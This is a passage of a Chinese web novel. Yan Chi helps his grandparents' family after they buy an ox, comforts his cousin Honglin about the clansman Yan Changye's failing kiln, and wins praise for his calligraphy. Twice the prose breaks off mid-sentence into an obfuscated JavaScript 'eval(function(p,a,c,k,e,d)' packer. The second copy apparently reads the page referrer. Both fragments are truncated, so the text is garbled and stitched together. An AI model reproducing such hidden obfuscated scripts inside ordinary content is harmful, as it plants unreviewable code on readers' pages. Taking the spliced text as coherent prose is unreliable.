老郑氏夫妇在晏家歇息半个时辰，同沈氏说了会子话才离去。他们牵着牛，回村路上乐呵不已，没想到行至村口，碰见一脸憔悴的晏常业，对方正要出村。 双方都有些尴尬，晏常业稳了稳心神，向二人问好，老郑氏点点头，随口问：“都这个点，你去哪儿？” 晏常业脸上的尴尬更浓了些，含糊道：“一点私事。” 老郑氏夫妇也就不问了，双方错身而过。 傍晚，晏宏临散学回家，看见院里的牛，不敢相信自己眼睛。 老郑氏笑道：“多亏了迟哥儿，为着咱们家的事，他还特意请了一日假。”说着说着，老郑氏过意不去。 晏大郎想了想，“娘，迟哥儿念书辛苦，咱们把家里的老母鸡收拾了，给迟哥儿送去。” 家里其他人没吭声，晏宏临想到什么，忙道：“迟哥儿好一口鲜，他喜欢鲫鱼煲汤，待会儿我带上篓子去河里捉鱼。再逮几条黄鳝就更好了，正好明儿休沐，我给他送去。” 他说着话就提了篓子出门，家里的弟弟妹妹慢半拍，急急跟上他。 直到月上中天，晏宏临领着一串小尾巴，收获满满回家，心满意足的歇息了。 明月高悬，月华如练。 晏家小院熄了灯，晏迟在背诵中歇下，次日一早，他准时醒来。 今日休沐，沈氏在正屋刺绣，晏迟在院里打了一套军体拳，出了一层薄汗。他用毛巾擦了擦，正打算练字，听见敲门声。 “迟哥儿，是我。” 晏迟打开院门，看见老郑氏，以及老郑氏身后的晏宏临，他身背大米，左手提一桶黄鳝，右手提一桶鲫鱼。 晏迟立刻把人迎进院子，沈氏听见动静，也从正屋出来。 沈氏接过老郑氏递来的老母鸡，晏宏临也把一桶鲫鱼给晏迟：“给你的，还有一个小螃蟹，现在不肥，不好吃。捉来给你玩的。” 晏迟闻言笑出声，不是斯文温润的笑，而是纯粹玩笑。 晏宏临愣了愣，心想迟哥儿这个样子，才像十一岁少年。 沈氏倒了茶水点心，招呼老郑氏和晏宏临。 落座后，老郑氏再次对晏迟和沈氏道谢。 晏宏临也道：“昨日我在村塾念书，散学才知道迟哥儿还特意请了假，陪我阿爷和阿婆买牛，迟哥儿，我真不知道怎么谢你。” “你们太客气了。”晏迟笑道，沈氏附和。 花厅里谈笑不断，老郑氏同沈氏说着话，沈氏见晏宏临坐不住，一直想跟晏迟说话，莞尔：“迟哥儿带临哥儿出门逛逛。” 晏迟没有不应，不想何大不在家，两人只得步行。 晏宏临道：“迟哥儿，我们家现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晏迟面不改色胡说：“我们功课有些跟不上，大人们便不允我们为其他事分神了。” 申掌柜眸光闪了闪，又见晏宏临神情有异，估摸着有内情，但与他无关。 遂点到为止。 晏迟和晏宏临与申掌柜话别，打道回府，半路却遇熟人。 街边长条桌上摆着大大小小的花瓶，碗盘，约摸二十来件，正在叫卖的人，不是晏常业又是谁。 晏宏临想找个缝儿钻了。晏常业张嘴欲言，被晏宏临这副局促回避的模样弄的止了声。 街上行人来往，他们之间仿佛隔绝出一个真空地带，鸦雀无声。晏迟只得开口，打破静默。 一番寒暄后，晏宏临实在受不住，道：“常业哥，我们还有事，就先走了。” “——临哥儿！”晏常业叫住他，将晏宏临定在原地，晏常业面现愧疚，“临哥儿，之前的事…对不住…” “没有没有。”晏宏临打哈哈，实则浑身紧绷，双眼求助地望向晏迟。 17. 开源（一） 晏常业也跟着望来，他神情萎靡，眼底泛青，瞧着精神头不太好。 晏迟错开视线，目光在瓷器上扫过，花瓶线条流畅，胎体细腻，他上前几步，“常业哥，我能看看你烧制的花瓶吗？” 晏常业愣了愣，随后道：“当然可以，你随便看。”说完又低下头，自嘲一般：“本就是不值钱的玩意儿。” 晏迟顿了顿，拿起一个巴掌长的净瓶，瓶身温润生晕，玉白的好颜色，他曲指敲击，声音清脆。 瓶底小篆：晏窑制。 晏迟双唇微动，齿间无声咀嚼这三个字。他抬眸，见晏常业正努力找话题，同晏宏临有一搭没一搭说着。 基本是晏常业问，晏宏临答。不知道的还以为是夫子考校学生。 从晏迟的角度看去，瞥见晏常业侧脸，日光投影下，颊面凹陷，颧骨突出，犹似刺破薄薄的面皮，长街尽头忽而风过，吹动晏常业单薄的上衣，领口晃动着，勾勒出嶙峋的双肩。 刚才照面，只觉晏常业清减了，这会子才发现晏常业瘦的厉害。 纵使烧瓷初期辛苦些，这也太过了。 晏迟微微皱眉，但顾忌什么，又松展眉头，他把净瓶小心放回原处，由衷道：“常业哥手艺极好，这净瓶不输延盈阁。” 晏常业喉头滚动，苦涩的笑了一下，到底没说什么。 而晏宏临如芒在背，额头都急出了细汗，晏迟顺势道：“今日实在有事，赶时间，不然定要好好欣赏常业哥烧的好窑。” 晏常业点点头，目送二人离去。 待双方拉开距离，晏宏临回头看不见晏常业了，才长长松了口气。 晏迟啼笑皆非，半真半假道：“事情都过去了，你还如此在意。难不成以后你见了常业哥，都要躲着他走？” “…我没有，我……”晏宏临苦恼的抓抓头发，随着他俯首，额头上的细汗汇聚成珠砸落，在青砖地面晕出一个湿痕。 他忽地卸了力道，原地蹲下，难为情道：“等过两年，我长成了，自然就能坦然处之。” 时间能冲淡一切。 晏迟认可他的话，跟着他蹲下，“那我们是回家，还是在外面逛逛，平复心绪？” 这话说的晏宏临面热，他哪有那么矫情，忙道：“回家，我们回家罢。” 下午申时四刻，老郑氏和晏宏临祖孙才从晏家离开，回村。 晏迟在家中临字，临字分对临，通临，背临。 严举人令他临三张大字，是叫他背临，连带着晏迟请假和休沐的功课一并算的，可见难度。 晏迟观摩字帖，每个字拆分，脑海中模拟落笔，行笔，收笔。 末了，他将字帖盖住，提笔书写。期间虽有停滞，但好歹是一口气写完了。 这才将自己写的大字与字帖对比，一盏茶后，他将大字搁置，再次临写。 直至暮色四合，视物困难，晏迟才堪堪收笔。而他手边垒了一沓大字。 沈氏旁的不言，只唤晏迟用晚饭。一夜无梦，次日晏迟早早醒了，简单洗漱后，继续临字。 他已经触摸到一丝关窍，自是一鼓作气，日温渐升，骄阳似火，他手边的字稿逐渐垒高。 眼瞧着到了正午，晏迟没有丝毫停笔的趋势，沈氏暗暗着急，又不敢出声惊扰。 这一等又是一个时辰，晏迟腹鸣如鼓，强势叫嚣，晏迟搁笔，疲惫如潮水涌上。 沈氏递过方帕，“快擦擦汗。”随后试探道：“你也练许久了，歇一歇，吃过饭再练罢。” 晏迟颔首，饭后他歇了一刻钟，继续练字，下午日温更盛，大滴大滴的汗珠砸落，晕染字迹。 晏迟蹙眉，少顷寻了一根干毛巾，绑缚额前，吸了额上汗，果然不再影响练字。 沈氏旁观，心疼不已。险些出口叫停，然念书习字，非万般打磨不成器，她若一时心疼叫停，才是害子。 沈氏索性回屋刺绣，不见辛苦便不会那么心疼了。 晏家院子清静，偶有鸡鸣两声，纸张轻响。 直到日落黄昏，天边晚霞烈烈，晏迟搁下笔，毫无形象的仰躺椅背，长长吐出一口气。 眉眼之间虽有倦意，却也现轻快，整个人都放松了。 沈氏泡了一盏茉莉花茶递给他，笑道：“晚上想吃什么？” 晏迟想了想，“茶仁馆的龙井虾仁罢。娘呢？” “娘没什么想吃的。”沈氏温言道，拿上钱出门了。 两只母鸡在院内走动，扑棱翅膀，晏迟呷了一口茶，静静瞧着。少顷，他搁下茶盏，欲起身活动，瞥见书桌上垒 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晏迟刚收拾了，院门从外推开，晏迟抬头唤：“娘回来……临哥？！”他声音都微微拔高。 晏宏临双手搁在前交叠，眉眼耷着，努力挤出一个尴尬不失礼貌的笑。 晏迟挑眉。 沈氏道：“我买菜回来时，在巷口碰见临哥儿的。” 沈氏招呼晏宏临在花厅落座，她进小厨房，将饭菜摆盘。 趁这点功夫，晏宏临三步做两步凑到晏迟身边，飞快低语，“是常业哥。他之前跟人合伙建窑厂，但是因为一些原因，对方跟他掰了，现在那个窑厂丢给常业哥，窑厂产的瓷器也没人收，常业哥只能拿去县里卖。” 晏宏临抿了抿唇，面现不忍，纠结，犹豫，又带着隐隐的期盼。 “迟哥儿，其实常业哥人还是很好的，也确实有本事，他烧的瓷你也看过，你也说不输延盈阁里的瓷器……” 晏迟定定望着他，晏宏临心虚的避开视线，听见晏迟问：“临哥，你到底想说什么。” 晏宏临垂落身侧的手缓缓攥紧，少顷咬咬牙，“迟哥儿，其实我傍晚前来，是因为……” 沈氏端着饭菜从小厨房出来，晏宏临顿时止了声。 18. 族兄之困 一顿晚饭，晏宏临吃的心不在焉，沈氏也瞧出来了，顺势让二人饭后洗漱，回屋歇息。 东厢房的屋门一关，屋内蜡烛轻燃，橙黄烛火静谧而温暖。 晏宏临立在门处，踌躇不前。 晏迟看着他，被逗乐了：“你刚进院子时，竹筒倒豆子噼里啪啦一通说，这会子怎的哑了声。” 晏宏临：……… 晏宏临面皮逐渐升温，他来的路上，心中有千语，想同迟哥儿言，可此刻嘴巴却像蚌壳，难以撬开。 因着，这又要麻烦迟哥儿。 两人对立，一刻钟过去，晏宏临也没说出一句完整句子。 晏迟今日练字，实在有些乏了，不想跟他耗，索性开口：“我姑且一说，若有错处，还请临哥海涵。” “…不不……”晏宏临忙不迭摆手，窘迫道：“迟哥儿，你随便说。” 晏迟示意他先坐下。 晏宏临屁股刚落在凳上，听晏迟道：“常业哥的窑厂经营不善，你这时跑来，希望我能给他拿个主意，起死回生，是不是。” 晏宏临：！！！ 他腾地站起，双目大睁，嘴唇颤抖，想说什么又难言。 晏迟抬手止了他话，“你不好言说，我来说，你回答是与不是就成。” 晏宏临无措的抓着自己衣摆，吭哧点头。 晏迟抬起右手，伸出食指，声音有着不同往日的冷峻：“第一个问题，常业哥是不是跟你诉苦。” 晏宏临忙不迭摇头，“不是不是，常业哥从来没跟我诉苦。是我，是我昨日回去之后，我自己心里惦记着，一番纠结后，我向宏信打听，才知道常业哥的窑厂不大好了。” 大抵是开了口子，晏宏临出走的勇气又回来些，他努力维持镇定，向晏迟道：“我不信，又去向村里伯娘，叔伯打听，才知常业哥的境况比我预想的还遭，不但窑厂开不起来，常业哥很可能还会欠一大笔钱。” 晏宏临说着说着都难受起来：“我翻来覆去想了一宿，今早一早在村口等着，见常业哥又要去县里卖瓷器，我拦住了他。” “他只说‘尚可，还好，能处理’，让我好好念书。” 同样的话，晏常业之前也同晏宏临说过。只是前后境况大为不同了。 晏宏临一番惆怅，又接着讲述，晏迟静静听着。 晏常业此前同窑厂一名老师傅合作建厂，但厂中伙计任人唯亲，账目混乱，分工混乱，纵使晏常业是个烧瓷天才，也得被拖垮。 “……迟哥儿，你昨日也看见常业哥的模样了，他真的…真的……”晏宏临又是叹气。 相比之下，波澜不惊的晏迟显得冷漠了。 晏迟打断晏宏临的情绪输出，伸出第二根手指，“常业哥对外透露过求助否？” 晏宏临愣了愣，迟疑摇头。 晏迟提醒晏宏临，“临哥，上赶子不是买卖，你吃过一回教训了。” 晏宏临哑声，“……迟哥儿，我…” 晏迟不语，平静注视晏宏临，烛火倒映在晏迟眼中，没有多余情绪，如无波古井，晏宏临忽然就怯了。 晏迟打了个哈欠，躺下歇息，晏宏临看着桌上的蜡烛出神，烛火跳跃摇曳，一如他心。 两刻钟后，晏宏临剪烛，也跟着躺下，只他脑中思绪万千，没得个头。 晏宏临再次醒来，天光大亮，晏迟已经去念书了。 沈氏从外面买来烧饼馄饨，招呼他吃早饭，晏宏临连忙道谢，饭后他匆匆回村。 沈氏眉头微蹙，这兄弟俩又怎的？ 早上迟哥儿出门，她委婉提了一句，迟哥儿推说没甚事。 天上日头高升，严家讲室，严举人看着晏迟背临的大字，眼中闪过赞赏，仔细端详。 字体无非楷书，行书，草书，隶书等，但同一种字体，不同的人写出不同的风格，便是众口之称的灵气。 晏迟所练楷书，初看平平无奇，但每一笔都控的极好，典雅之中蕴藏古朴，隐有隶书之风，却又不会让人错认，正是大巧若拙。 严举人看向晏迟，少年眉眼低垂，谦逊恭敬，这个少年年仅十一，便寻着自己的风格，尽管还有些稚嫩，但假以时日，必有所成。 纵使晏无咎，十一岁之际，也未必胜得过晏迟。 当真是青出于蓝而胜于蓝。 严举人心中感慨，感慨之余，也庆幸自己当初收下晏迟，他将字稿还给晏迟，耐心指出几点不足，态度可谓温和。 严汝青目瞪口呆，这还是那不苟言笑的先生否？ 好半晌，严汝青才把自己张开的嘴巴，手动合上。 待严举人离去，严汝青脱口而出，“先生今日转性了？！” 前桌的严抱贞和程沅嘉同时回身，向晏迟讨了字稿，细细瞧着。 良久，严抱贞捧着晏迟的字稿叹道：“人比人得死。我十五岁才勉强寻着自己的风格，期间不知费了多少功夫和心思。”而他已经属于中等了。 程沅嘉默了默，对晏迟道：“同文昌庙牌楼的字有一二相似。” 晏迟颔首，“是从那里得的灵感。” 实则不止，临哥受挫来寻他，他安慰临哥之中，也有一二感悟。 讲室内一阵静默，严汝青和严抱贞回忆当时感受，他们虽是一副感悟模样，但口中称赞过牌楼字体就罢了，旁的却是没多想。 程沅嘉双眸灼热，由衷道：“迟哥儿，你好敏锐的洞察力。”随后，程沅嘉又道：“可否与我们说说，你从感悟到落实的过程。” 严抱贞和严汝青跟着道：“迟哥儿快说快说。” 晏迟应是。 下午，严汝中外出归来，听闻此事，看过字稿，捧着晏迟的脑袋很是稀罕了一阵子，称赞道：“真个聪明脑瓜，得保护好了。” 晏迟腼腆笑。 又数日，府试放榜，严汝中独占魁首，程沅嘉位列第七，这一次严抱贞却是落在最后一名。 因此严抱贞得了童生功名，也是喜忧参半，但到底是喜更多。 众人见他想开，严汝中才做主，晌午在酒楼定席面，一行人庆祝。 兴致上头，严汝中同严抱贞行酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏宏临气弱道：“迟哥儿，我知道这事不该麻烦你。可都是一个村的同族兄弟，我真的不忍心，而我自己又笨，想不出法子，我只能来求你了。” 晏宏临嘴一瘪，眼泪啪嗒啪嗒掉，还克制的压着声音，唯恐被沈氏听去。 晏迟：……… 晏迟揉了揉眉心，道：“别哭了，再哭我这厢房都给你泪水淹了。” 随后，晏迟道：“这会子才申时，你回村一趟，悄悄把常业哥带出来，不要声张。”因着有前车之鉴，晏迟故意沉了脸：“临哥，如果你再忘记我的叮嘱，纵使我想帮忙也不能了。” 晏宏临点头如捣蒜，连连保证。 兄弟俩出院门，凑巧何大在家，晏迟请何大跑一趟村子，折返后直接去茶楼。 那厢，晏迟在茶楼定下一间雅间，一个时辰左右，骡车在茶楼前停下，晏宏临搀扶晏常业下车，两人进入茶楼。 何大看着两人身影，虽然好奇，但到底没瞎打听。